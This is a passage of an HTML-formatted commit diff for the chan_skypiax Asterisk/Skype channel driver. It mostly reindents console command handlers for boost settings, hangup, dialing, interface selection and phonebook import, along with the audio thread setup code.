-            20 * log10(((double) p-&gt;playback_boost / (double) BOOST_SCALE)));
-  }
</del><ins>+                ast_cli(fd,
+                                &quot;playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n&quot;,
+                                skypiax_console_active, 20 * log10(((double) p-&gt;playback_boost / (double) BOOST_SCALE)));
+        }
</ins><span class="cx"> 
</span><del>-  return RESULT_SUCCESS;
</del><ins>+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_capture_boost(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx"> 
</span><del>-  if (argc &gt; 2) {
-    return RESULT_SHOWUSAGE;
-  }
-  if (!p) {
-    ast_cli(fd,
-            &quot;No \&quot;current\&quot; skypiax_console for capture_boost, please enter 'help skypiax_console'\n&quot;);
-    return RESULT_SUCCESS;
-  }
</del><ins>+        if (argc &gt; 2) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, &quot;No \&quot;current\&quot; skypiax_console for capture_boost, please enter 'help skypiax_console'\n&quot;);
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-  if (argc == 1) {
-    ast_cli(fd, &quot;capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n&quot;,
-            skypiax_console_active,
-            20 * log10(((double) p-&gt;capture_boost / (double) BOOST_SCALE)));
-  } else if (argc == 2) {
-    skypiax_store_boost(argv[1], &amp;p-&gt;capture_boost);
</del><ins>+        if (argc == 1) {
+                ast_cli(fd, &quot;capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n&quot;,
+                                skypiax_console_active, 20 * log10(((double) p-&gt;capture_boost / (double) BOOST_SCALE)));
+        } else if (argc == 2) {
+                skypiax_store_boost(argv[1], &amp;p-&gt;capture_boost);
</ins><span class="cx"> 
</span><del>-    ast_cli(fd,
-            &quot;capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n&quot;,
-            skypiax_console_active,
-            20 * log10(((double) p-&gt;capture_boost / (double) BOOST_SCALE)));
-  }
</del><ins>+                ast_cli(fd,
+                                &quot;capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n&quot;,
+                                skypiax_console_active, 20 * log10(((double) p-&gt;capture_boost / (double) BOOST_SCALE)));
+        }
</ins><span class="cx"> 
</span><del>-  return RESULT_SUCCESS;
</del><ins>+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_console_hangup(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx"> 
</span><del>-  if (argc != 1) {
-    return RESULT_SHOWUSAGE;
-  }
-  if (!p) {
-    ast_cli(fd,
-            &quot;No \&quot;current\&quot; skypiax_console for hanging up, please enter 'help skypiax_console'\n&quot;);
-    return RESULT_SUCCESS;
-  }
-  if (!p-&gt;owner) {
-    ast_cli(fd, &quot;No call to hangup on the active skypiax_console, that is [%s]\n&quot;,
-            skypiax_console_active);
-    return RESULT_FAILURE;
-  }
-  if (p-&gt;owner)
-    ast_queue_hangup(p-&gt;owner);
-  return RESULT_SUCCESS;
</del><ins>+        if (argc != 1) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, &quot;No \&quot;current\&quot; skypiax_console for hanging up, please enter 'help skypiax_console'\n&quot;);
+                return RESULT_SUCCESS;
+        }
+        if (!p-&gt;owner) {
+                ast_cli(fd, &quot;No call to hangup on the active skypiax_console, that is [%s]\n&quot;, skypiax_console_active);
+                return RESULT_FAILURE;
+        }
+        if (p-&gt;owner)
+                ast_queue_hangup(p-&gt;owner);
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_console_dial(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  char *s = NULL;
-  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        char *s = NULL;
+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx"> 
</span><del>-  if (argc != 2) {
-    return RESULT_SHOWUSAGE;
-  }
-  if (!p) {
-    ast_cli(fd,
-            &quot;No \&quot;current\&quot; skypiax_console for dialing, please enter 'help skypiax_console'\n&quot;);
-    return RESULT_SUCCESS;
-  }
</del><ins>+        if (argc != 2) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, &quot;No \&quot;current\&quot; skypiax_console for dialing, please enter 'help skypiax_console'\n&quot;);
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-  if (p-&gt;owner) {               /* already in a call */
-    int i;
-    struct ast_frame f = { AST_FRAME_DTMF, 0 };
</del><ins>+        if (p-&gt;owner) {                                /* already in a call */
+                int i;
+                struct ast_frame f = { AST_FRAME_DTMF, 0 };
</ins><span class="cx"> 
</span><del>-    s = argv[1];
-    /* send the string one char at a time */
-    for (i = 0; i &lt; strlen(s); i++) {
-      f.subclass = s[i];
-      ast_queue_frame(p-&gt;owner, &amp;f);
-    }
-    return RESULT_SUCCESS;
-  } else
-    ast_cli(fd,
-            &quot;No call in which to dial on the \&quot;current\&quot; skypiax_console, that is [%s]\n&quot;,
-            skypiax_console_active);
-  if (s)
-    free(s);
-  return RESULT_SUCCESS;
</del><ins>+                s = argv[1];
+                /* send the string one char at a time */
+                for (i = 0; i &lt; strlen(s); i++) {
+                        f.subclass = s[i];
+                        ast_queue_frame(p-&gt;owner, &amp;f);
+                }
+                return RESULT_SUCCESS;
+        } else
+                ast_cli(fd, &quot;No call in which to dial on the \&quot;current\&quot; skypiax_console, that is [%s]\n&quot;, skypiax_console_active);
+        if (s)
+                free(s);
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_set_active(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  if (argc == 1)
-    ast_cli(fd,
-            &quot;\&quot;current\&quot; skypiax_console is [%s]\n    Enter 'skypiax_console show' to see the available interfaces.\n    Enter 'skypiax_console interfacename' to change the \&quot;current\&quot; skypiax_console.\n&quot;,
-            skypiax_console_active);
-  else if (argc != 2) {
-    return RESULT_SHOWUSAGE;
-  } else {
-    struct skypiax_pvt *p;
-    if (strcmp(argv[1], &quot;show&quot;) == 0) {
-      ast_cli(fd, &quot;Available interfaces:\n&quot;);
-      for (p = skypiax_iflist; p; p = p-&gt;next)
-        ast_cli(fd, &quot;     [%s]\n&quot;, p-&gt;name);
-      return RESULT_SUCCESS;
-    }
-    p = skypiax_console_find_desc(argv[1]);
-    if (p == NULL)
-      ast_cli(fd, &quot;Interface [%s] do not exists!\n&quot;, argv[1]);
-    else {
-      skypiax_console_active = p-&gt;name;
-      ast_cli(fd, &quot;\&quot;current\&quot; skypiax_console is now: [%s]\n&quot;, argv[1]);
-    }
-  }
-  return RESULT_SUCCESS;
</del><ins>+        if (argc == 1)
+                ast_cli(fd,
+                                &quot;\&quot;current\&quot; skypiax_console is [%s]\n    Enter 'skypiax_console show' to see the available interfaces.\n    Enter 'skypiax_console interfacename' to change the \&quot;current\&quot; skypiax_console.\n&quot;,
+                                skypiax_console_active);
+        else if (argc != 2) {
+                return RESULT_SHOWUSAGE;
+        } else {
+                struct skypiax_pvt *p;
+                if (strcmp(argv[1], &quot;show&quot;) == 0) {
+                        ast_cli(fd, &quot;Available interfaces:\n&quot;);
+                        for (p = skypiax_iflist; p; p = p-&gt;next)
+                                ast_cli(fd, &quot;     [%s]\n&quot;, p-&gt;name);
+                        return RESULT_SUCCESS;
+                }
+                p = skypiax_console_find_desc(argv[1]);
+                if (p == NULL)
+                        ast_cli(fd, &quot;Interface [%s] do not exists!\n&quot;, argv[1]);
+                else {
+                        skypiax_console_active = p-&gt;name;
+                        ast_cli(fd, &quot;\&quot;current\&quot; skypiax_console is now: [%s]\n&quot;, argv[1]);
+                }
+        }
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_console_skypiax(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  return RESULT_SHOWUSAGE;
</del><ins>+        return RESULT_SHOWUSAGE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> void *do_skypeapi_thread(void *obj)
</span><span class="cx"> {
</span><del>-  return skypiax_do_skypeapi_thread_func(obj);
</del><ins>+        return skypiax_do_skypeapi_thread_func(obj);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int dtmf_received(private_t * p, char *value)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
-  DEBUGA_SKYPE(&quot;Received DTMF: %s\n&quot;, SKYPIAX_P_LOG, value);
-  ast_queue_frame(p-&gt;owner, &amp;f2);
</del><ins>+        struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
+        DEBUGA_SKYPE(&quot;Received DTMF: %s\n&quot;, SKYPIAX_P_LOG, value);
+        ast_queue_frame(p-&gt;owner, &amp;f2);
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int start_audio_threads(private_t * p)
</span><span class="cx"> {
</span><del>-  //if (!p-&gt;tcp_srv_thread) {
-  if (ast_pthread_create(&amp;p-&gt;tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) &lt; 0) {
-    ERRORA(&quot;Unable to start tcp_srv_thread thread.\n&quot;, SKYPIAX_P_LOG);
-    return -1;
-  } else {
-    DEBUGA_SKYPE(&quot;started tcp_srv_thread thread.\n&quot;, SKYPIAX_P_LOG);
-  }
-  //}
-  //if (!p-&gt;tcp_cli_thread) {
-  if (ast_pthread_create(&amp;p-&gt;tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) &lt; 0) {
-    ERRORA(&quot;Unable to start tcp_cli_thread thread.\n&quot;, SKYPIAX_P_LOG);
-    return -1;
-  } else {
-    DEBUGA_SKYPE(&quot;started tcp_cli_thread thread.\n&quot;, SKYPIAX_P_LOG);
-  }
-  //}
</del><ins>+        //if (!p-&gt;tcp_srv_thread) {
+        if (ast_pthread_create(&amp;p-&gt;tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) &lt; 0) {
+                ERRORA(&quot;Unable to start tcp_srv_thread thread.\n&quot;, SKYPIAX_P_LOG);
+                return -1;
+        } else {
+                DEBUGA_SKYPE(&quot;started tcp_srv_thread thread.\n&quot;, SKYPIAX_P_LOG);
+        }
+        //}
+        //if (!p-&gt;tcp_cli_thread) {
+        if (ast_pthread_create(&amp;p-&gt;tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) &lt; 0) {
+                ERRORA(&quot;Unable to start tcp_cli_thread thread.\n&quot;, SKYPIAX_P_LOG);
+                return -1;
+        } else {
+                DEBUGA_SKYPE(&quot;started tcp_cli_thread thread.\n&quot;, SKYPIAX_P_LOG);
+        }
+        //}
</ins><span class="cx"> 
</span><span class="cx"> #ifdef NOTDEF
</span><del>-  switch_threadattr_t *thd_attr = NULL;
</del><ins>+        switch_threadattr_t *thd_attr = NULL;
</ins><span class="cx"> 
</span><del>-  switch_threadattr_create(&amp;thd_attr, skypiax_module_pool);
-  switch_threadattr_detach_set(thd_attr, 1);
-  switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-  switch_thread_create(&amp;tech_pvt-&gt;tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread,
-                       tech_pvt, skypiax_module_pool);
-  DEBUGA_SKYPE(&quot;started tcp_srv_thread thread.\n&quot;, SKYPIAX_P_LOG);
</del><ins>+        switch_threadattr_create(&amp;thd_attr, skypiax_module_pool);
+        switch_threadattr_detach_set(thd_attr, 1);
+        switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+        switch_thread_create(&amp;tech_pvt-&gt;tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread, tech_pvt, skypiax_module_pool);
+        DEBUGA_SKYPE(&quot;started tcp_srv_thread thread.\n&quot;, SKYPIAX_P_LOG);
</ins><span class="cx"> 
</span><del>-  switch_threadattr_create(&amp;thd_attr, skypiax_module_pool);
-  switch_threadattr_detach_set(thd_attr, 1);
-  switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-  switch_thread_create(&amp;tech_pvt-&gt;tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread,
-                       tech_pvt, skypiax_module_pool);
-  DEBUGA_SKYPE(&quot;started tcp_cli_thread thread.\n&quot;, SKYPIAX_P_LOG);
-  switch_sleep(100000);
</del><ins>+        switch_threadattr_create(&amp;thd_attr, skypiax_module_pool);
+        switch_threadattr_detach_set(thd_attr, 1);
+        switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+        switch_thread_create(&amp;tech_pvt-&gt;tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread, tech_pvt, skypiax_module_pool);
+        DEBUGA_SKYPE(&quot;started tcp_cli_thread thread.\n&quot;, SKYPIAX_P_LOG);
+        switch_sleep(100000);
</ins><span class="cx"> 
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int new_inbound_channel(private_t * p)
</span><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx"> #ifdef NOTDEF
</span><del>-  switch_core_session_t *session = NULL;
-  switch_channel_t *channel = NULL;
</del><ins>+        switch_core_session_t *session = NULL;
+        switch_channel_t *channel = NULL;
</ins><span class="cx"> 
</span><del>-  if ((session =
-       switch_core_session_request(skypiax_endpoint_interface,
-                                   SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
-    switch_core_session_add_stream(session, NULL);
-    channel = switch_core_session_get_channel(session);
-    skypiax_tech_init(tech_pvt, session);
</del><ins>+        if ((session = switch_core_session_request(skypiax_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
+                switch_core_session_add_stream(session, NULL);
+                channel = switch_core_session_get_channel(session);
+                skypiax_tech_init(tech_pvt, session);
</ins><span class="cx"> 
</span><del>-    if ((tech_pvt-&gt;caller_profile =
-         switch_caller_profile_new(switch_core_session_get_pool(session), &quot;skypiax&quot;,
-                                   tech_pvt-&gt;dialplan, tech_pvt-&gt;callid_name,
-                                   tech_pvt-&gt;callid_number, NULL, NULL, NULL, NULL,
-                                   &quot;mod_skypiax&quot;, tech_pvt-&gt;context,
-                                   tech_pvt-&gt;destination)) != 0) {
-      char name[128];
-      //switch_snprintf(name, sizeof(name), &quot;skypiax/%s/%s&quot;, tech_pvt-&gt;name, tech_pvt-&gt;caller_profile-&gt;destination_number);
-      switch_snprintf(name, sizeof(name), &quot;skypiax/%s&quot;, tech_pvt-&gt;name);
-      switch_channel_set_name(channel, name);
-      switch_channel_set_caller_profile(channel, tech_pvt-&gt;caller_profile);
-    }
-    switch_channel_set_state(channel, CS_INIT);
-    if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
-      ERRORA(&quot;Error spawning thread\n&quot;, SKYPIAX_P_LOG);
-      switch_core_session_destroy(&amp;session);
-    }
-  }
-  switch_channel_mark_answered(channel);
</del><ins>+                if ((tech_pvt-&gt;caller_profile =
+                         switch_caller_profile_new(switch_core_session_get_pool(session), &quot;skypiax&quot;,
+                                                                           tech_pvt-&gt;dialplan, tech_pvt-&gt;callid_name,
+                                                                           tech_pvt-&gt;callid_number, NULL, NULL, NULL, NULL, &quot;mod_skypiax&quot;, tech_pvt-&gt;context, tech_pvt-&gt;destination)) != 0) {
+                        char name[128];
+                        //switch_snprintf(name, sizeof(name), &quot;skypiax/%s/%s&quot;, tech_pvt-&gt;name, tech_pvt-&gt;caller_profile-&gt;destination_number);
+                        switch_snprintf(name, sizeof(name), &quot;skypiax/%s&quot;, tech_pvt-&gt;name);
+                        switch_channel_set_name(channel, name);
+                        switch_channel_set_caller_profile(channel, tech_pvt-&gt;caller_profile);
+                }
+                switch_channel_set_state(channel, CS_INIT);
+                if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+                        ERRORA(&quot;Error spawning thread\n&quot;, SKYPIAX_P_LOG);
+                        switch_core_session_destroy(&amp;session);
+                }
+        }
+        switch_channel_mark_answered(channel);
</ins><span class="cx"> 
</span><span class="cx"> #endif
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int remote_party_is_ringing(private_t * p)
</span><span class="cx"> {
</span><del>-  if (p-&gt;owner) {
-    ast_queue_control(p-&gt;owner, AST_CONTROL_RINGING);
-  }
</del><ins>+        if (p-&gt;owner) {
+                ast_queue_control(p-&gt;owner, AST_CONTROL_RINGING);
+        }
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int remote_party_is_early_media(private_t * p)
</span><span class="cx"> {
</span><del>-  if (p-&gt;owner) {
-    ast_queue_control(p-&gt;owner, AST_CONTROL_RINGING);
-  }
</del><ins>+        if (p-&gt;owner) {
+                ast_queue_control(p-&gt;owner, AST_CONTROL_RINGING);
+        }
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int outbound_channel_answered(private_t * p)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  if (p-&gt;owner) {
-    ast_queue_control(p-&gt;owner, AST_CONTROL_ANSWER);
-  }
</del><ins>+        if (p-&gt;owner) {
+                ast_queue_control(p-&gt;owner, AST_CONTROL_ANSWER);
+        }
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> void *skypiax_do_tcp_srv_thread(void *obj)
</span><span class="cx"> {
</span><del>-  return skypiax_do_tcp_srv_thread_func(obj);
</del><ins>+        return skypiax_do_tcp_srv_thread_func(obj);
</ins><span class="cx"> }
</span><span class="cx"> void *skypiax_do_tcp_cli_thread(void *obj)
</span><span class="cx"> {
</span><del>-  return skypiax_do_tcp_cli_thread_func(obj);
</del><ins>+        return skypiax_do_tcp_cli_thread_func(obj);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f)
</span><span class="cx"> {
</span><del>-  int sent;
</del><ins>+        int sent;
</ins><span class="cx"> 
</span><del>-  sent = write(p-&gt;audioskypepipe[1], (short *) f-&gt;data, f-&gt;datalen);
</del><ins>+        sent = write(p-&gt;audioskypepipe[1], (short *) f-&gt;data, f-&gt;datalen);
</ins><span class="cx"> 
</span><del>-  return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_skype(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-  char skype_msg[1024];
-  int i, a, c;
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+        char skype_msg[1024];
+        int i, a, c;
</ins><span class="cx"> 
</span><del>-  if (argc == 1) {
-    return RESULT_SHOWUSAGE;
-  }
-  if (!p) {
-    ast_cli(fd, &quot;No \&quot;current\&quot; console for skypiax_, please enter 'help console'\n&quot;);
-    return RESULT_SUCCESS;
-  }
-  if (!p-&gt;skype) {
-    ast_cli(fd, &quot;The \&quot;current\&quot; console is not connected to a Skype client'\n&quot;);
-    return RESULT_SUCCESS;
-  }
</del><ins>+        if (argc == 1) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, &quot;No \&quot;current\&quot; console for skypiax_, please enter 'help console'\n&quot;);
+                return RESULT_SUCCESS;
+        }
+        if (!p-&gt;skype) {
+                ast_cli(fd, &quot;The \&quot;current\&quot; console is not connected to a Skype client'\n&quot;);
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-  memset(skype_msg, 0, sizeof(skype_msg));
-  c = 0;
-  for (i = 1; i &lt; argc; i++) {
-    for (a = 0; a &lt; strlen(argv[i]); a++) {
-      skype_msg[c] = argv[i][a];
-      c++;
-      if (c == 1022)
-        break;
-    }
-    if (i != argc - 1) {
-      skype_msg[c] = ' ';
-      c++;
-    }
-    if (c == 1023)
-      break;
-  }
-  skypiax_signaling_write(p, skype_msg);
-  return RESULT_SUCCESS;
</del><ins>+        memset(skype_msg, 0, sizeof(skype_msg));
+        c = 0;
+        for (i = 1; i &lt; argc; i++) {
+                for (a = 0; a &lt; strlen(argv[i]); a++) {
+                        skype_msg[c] = argv[i][a];
+                        c++;
+                        if (c == 1022)
+                                break;
+                }
+                if (i != argc - 1) {
+                        skype_msg[c] = ' ';
+                        c++;
+                }
+                if (c == 1023)
+                        break;
+        }
+        skypiax_signaling_write(p, skype_msg);
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  //int res;
-  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
-  //char list_command[64];
-  char fn[256];
-  char date[256] = &quot;&quot;;
-  time_t t;
-  char *configfile = SKYPIAX_DIR_CONFIG;
-  int add_to_skypiax_dir_conf = 1;
-  //int fromskype = 0;
-  //int fromcell = 0;
</del><ins>+        //int res;
+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+        //char list_command[64];
+        char fn[256];
+        char date[256] = &quot;&quot;;
+        time_t t;
+        char *configfile = SKYPIAX_DIR_CONFIG;
+        int add_to_skypiax_dir_conf = 1;
+        //int fromskype = 0;
+        //int fromcell = 0;
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-  if (directoriax_entry_extension) {
-    skypiax_dir_entry_extension = directoriax_entry_extension;
-  } else {
-    ast_cli(fd,
-            &quot;No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n&quot;);
-    return RESULT_SUCCESS;
-  }
</del><ins>+        if (directoriax_entry_extension) {
+                skypiax_dir_entry_extension = directoriax_entry_extension;
+        } else {
+                ast_cli(fd, &quot;No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n&quot;);
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-  if (argc != 2)
-    return RESULT_SHOWUSAGE;
-  if (!p) {
-    ast_cli(fd, &quot;No \&quot;current\&quot; console ???, please enter 'help skypiax_console'\n&quot;);
-    return RESULT_SUCCESS;
-  }
</del><ins>+        if (argc != 2)
+                return RESULT_SHOWUSAGE;
+        if (!p) {
+                ast_cli(fd, &quot;No \&quot;current\&quot; console ???, please enter 'help skypiax_console'\n&quot;);
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-  if (!strcasecmp(argv[1], &quot;add&quot;))
-    add_to_skypiax_dir_conf = 1;
-  else if (!strcasecmp(argv[1], &quot;replace&quot;))
-    add_to_skypiax_dir_conf = 0;
-  else {
-    ast_cli(fd, &quot;\n\nYou have neither specified 'add' nor 'replace'\n\n&quot;);
-    return RESULT_SHOWUSAGE;
-  }
</del><ins>+        if (!strcasecmp(argv[1], &quot;add&quot;))
+                add_to_skypiax_dir_conf = 1;
+        else if (!strcasecmp(argv[1], &quot;replace&quot;))
+                add_to_skypiax_dir_conf = 0;
+        else {
+                ast_cli(fd, &quot;\n\nYou have neither specified 'add' nor 'replace'\n\n&quot;);
+                return RESULT_SHOWUSAGE;
+        }
</ins><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-  if (!strcasecmp(argv[2], &quot;fromskype&quot;))
-    fromskype = 1;
-  else if (!strcasecmp(argv[2], &quot;fromcell&quot;))
-    fromcell = 1;
-  else {
-    ast_cli(fd, &quot;\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n&quot;);
-    return RESULT_SHOWUSAGE;
-  }
</del><ins>+        if (!strcasecmp(argv[2], &quot;fromskype&quot;))
+                fromskype = 1;
+        else if (!strcasecmp(argv[2], &quot;fromcell&quot;))
+                fromcell = 1;
+        else {
+                ast_cli(fd, &quot;\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n&quot;);
+                return RESULT_SHOWUSAGE;
+        }
</ins><span class="cx"> 
</span><del>-  if (fromcell) {
-    ast_cli(fd,
-            &quot;Importing from cellphone is currently supported only on \&quot;AT\&quot; cellphones :( !\n&quot;);
-    //fclose(p-&gt;phonebook_writing_fp);
-    //skypiax_dir_create_extensions();
-    return RESULT_SUCCESS;
-  }
</del><ins>+        if (fromcell) {
+                ast_cli(fd, &quot;Importing from cellphone is currently supported only on \&quot;AT\&quot; cellphones :( !\n&quot;);
+                //fclose(p-&gt;phonebook_writing_fp);
+                //skypiax_dir_create_extensions();
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-  if (fromskype)
-    if (!p-&gt;skype) {
-      ast_cli(fd, &quot;Importing from skype is supported by skypiax_dir on chan_skypiax!\n&quot;);
-      //fclose(p-&gt;phonebook_writing_fp);
-      //skypiax_dir_create_extensions();
-      return RESULT_SUCCESS;
-    }
</del><ins>+        if (fromskype)
+                if (!p-&gt;skype) {
+                        ast_cli(fd, &quot;Importing from skype is supported by skypiax_dir on chan_skypiax!\n&quot;);
+                        //fclose(p-&gt;phonebook_writing_fp);
+                        //skypiax_dir_create_extensions();
+                        return RESULT_SUCCESS;
+                }
</ins><span class="cx"> 
</span><del>-  if (fromcell || fromskype)
-    if (argc != 3) {
-      ast_cli(fd,
-              &quot;\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n&quot;);
-      return RESULT_SHOWUSAGE;
-    }
</del><ins>+        if (fromcell || fromskype)
+                if (argc != 3) {
+                        ast_cli(fd, &quot;\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n&quot;);
+                        return RESULT_SHOWUSAGE;
+                }
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">   /*******************************************************************************************/
</span><span class="cx"> 
</span><del>-  if (configfile[0] == '/') {
-    ast_copy_string(fn, configfile, sizeof(fn));
-  } else {
-    snprintf(fn, sizeof(fn), &quot;%s/%s&quot;, ast_config_AST_CONFIG_DIR, configfile);
-  }
-  NOTICA(&quot;Opening '%s'\n&quot;, SKYPIAX_P_LOG, fn);
-  time(&amp;t);
-  ast_copy_string(date, ctime(&amp;t), sizeof(date));
</del><ins>+        if (configfile[0] == '/') {
+                ast_copy_string(fn, configfile, sizeof(fn));
+        } else {
+                snprintf(fn, sizeof(fn), &quot;%s/%s&quot;, ast_config_AST_CONFIG_DIR, configfile);
+        }
+        NOTICA(&quot;Opening '%s'\n&quot;, SKYPIAX_P_LOG, fn);
+        time(&amp;t);
+        ast_copy_string(date, ctime(&amp;t), sizeof(date));
</ins><span class="cx"> 
</span><del>-  if (add_to_skypiax_dir_conf)
-    p-&gt;phonebook_writing_fp = fopen(fn, &quot;a+&quot;);
-  else
-    p-&gt;phonebook_writing_fp = fopen(fn, &quot;w+&quot;);
</del><ins>+        if (add_to_skypiax_dir_conf)
+                p-&gt;phonebook_writing_fp = fopen(fn, &quot;a+&quot;);
+        else
+                p-&gt;phonebook_writing_fp = fopen(fn, &quot;w+&quot;);
</ins><span class="cx"> 
</span><del>-  if (p-&gt;phonebook_writing_fp) {
-    if (add_to_skypiax_dir_conf) {
-      NOTICA(&quot;Opened '%s' for appending \n&quot;, SKYPIAX_P_LOG, fn);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;! Update Date: %s&quot;, date);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;! Updated by: %s, %d\n&quot;, __FILE__, __LINE__);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
-    } else {
-      NOTICA(&quot;Opened '%s' for writing \n&quot;, SKYPIAX_P_LOG, fn);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;! Automatically generated configuration file\n&quot;);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;! Filename: %s (%s)\n&quot;, configfile, fn);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;! Creation Date: %s&quot;, date);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;! Generated by: %s, %d\n&quot;, __FILE__, __LINE__);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;[general]\n\n&quot;);
-      fprintf(p-&gt;phonebook_writing_fp, &quot;[default]\n&quot;);
-    }
</del><ins>+        if (p-&gt;phonebook_writing_fp) {
+                if (add_to_skypiax_dir_conf) {
+                        NOTICA(&quot;Opened '%s' for appending \n&quot;, SKYPIAX_P_LOG, fn);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;!\n&quot;);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;! Update Date: %s&quot;, date);
+                        fprintf(p-&gt;phonebook_writing_fp, &quot;;! Updated by: %s, %d\n&quot;, __FILE__, __LINE__);
